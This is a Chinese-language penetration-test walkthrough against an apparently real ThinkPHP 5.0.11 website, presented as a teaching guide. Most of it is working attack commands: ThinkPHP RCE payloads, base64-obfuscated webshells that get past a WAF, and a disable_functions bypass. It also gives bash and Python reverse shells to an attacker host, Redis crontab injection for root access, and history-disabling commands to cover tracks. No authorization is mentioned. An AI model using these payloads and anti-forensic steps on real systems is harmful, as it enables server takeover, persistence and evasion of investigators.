一次thinkphp渗透测试经历
字数 1185 2025-08-26 22:11:45
ThinkPHP 5.0.11 渗透测试实战教学文档
一、环境识别与漏洞确认
-
版本识别:
- 访问目标网站,通过报错信息确认使用的是ThinkPHP v5.0.11框架
- 该版本存在已知的远程代码执行(RCE)漏洞
-
环境探测:
- 通过phpinfo()确认PHP版本为5.6.31
- 检查发现系统禁用了许多危险函数,但mail()和putenv()未被禁用
二、漏洞利用
1. 初始RCE尝试
使用ThinkPHP 5.0.11的RCE漏洞POC:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
2. 绕过WAF写入Webshell
第一次尝试(失败):
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))
- 12345.php: 文件名
- 12<?php eval(@$_POST['a']);: 文件内容
- 失败原因:WAF拦截了内容写入
成功绕过WAF的Webshell:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTI1ODQucGhw),base64_decode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7))
- 文件内容:
ok.<?php a]($_POST[x]);;;
3. 写入更复杂的Webshell
使用curl命令通过已建立的Webshell写入冰蝎马:
curl -d "x=@file_put_contents('qwer.php',base64_decode(PD9waHA...))" https://xxxxxxxxxxxx/12584.php?a=assert
三、权限提升
1. 绕过disable_functions
利用未禁用的mail()和putenv()函数:
- 上传bypass_disablefunc.php和对应的.so文件
- 尝试反弹shell:
/bypass_disablefunc.php?cmd=bash+-i+>%26+/dev/tcp/xxxxxx/8989+0>%261&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so
- 失败原因:bash命令中的&被当作连接符
成功方法:使用Python反弹shell
/bypass_disablefunc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxx",8989));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so
2. Redis提权
-
发现Redis服务:
- 探测到6379端口开放
- 系统缺少redis-cli和nc工具
-
使用静态ncat连接:
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat ./ncat 127.0.0.1 6379 -
通过crontab提权:
config set dir /var/spool/cron/ config set dbfilename root set x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxxxxx/1389 0>&1\n\n\n" save
3. 交互式shell获取
-
在哑shell中执行:
python -c 'import pty; pty.spawn("/bin/bash")' -
在攻击者VPS上执行:
stty raw -echo fg -
返回哑shell,执行:
reset export SHELL=bash export TERM=xterm-256color stty rows 54 columns 104
四、痕迹清理
- 禁用history记录:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG export HISTFILE=/dev/null export HISTSIZE=0 export HISTFILESIZE=0
五、关键知识点总结
-
ThinkPHP RCE漏洞利用:
- 利用路径
/index/\think\app/invokefunction进行命令执行 - 使用call_user_func_array调用危险函数
- 利用路径
-
WAF绕过技巧:
- 使用base64编码绕过内容检测
- 使用非常规Webshell写法(如
a]($_POST[x]))
-
disable_functions绕过:
- 利用mail()+putenv()组合
- 使用预编译的.so文件进行绕过
-
Redis提权要点:
- 通过修改Redis持久化目录和文件名实现crontab注入
- 使用
\n\n\n确保crontab条目被正确解析
-
交互式shell获取:
- Python的pty模块是获取交互式shell的有效方法
- 需要正确设置终端环境变量
-
静态工具使用:
- 在受限环境中使用静态编译的工具(如ncat)
- GitHub是获取这类工具的好来源
本教学文档详细记录了从漏洞发现到最终获取root权限的全过程,重点突出了各种绕过技术和权限提升方法,可作为类似环境渗透测试的参考指南。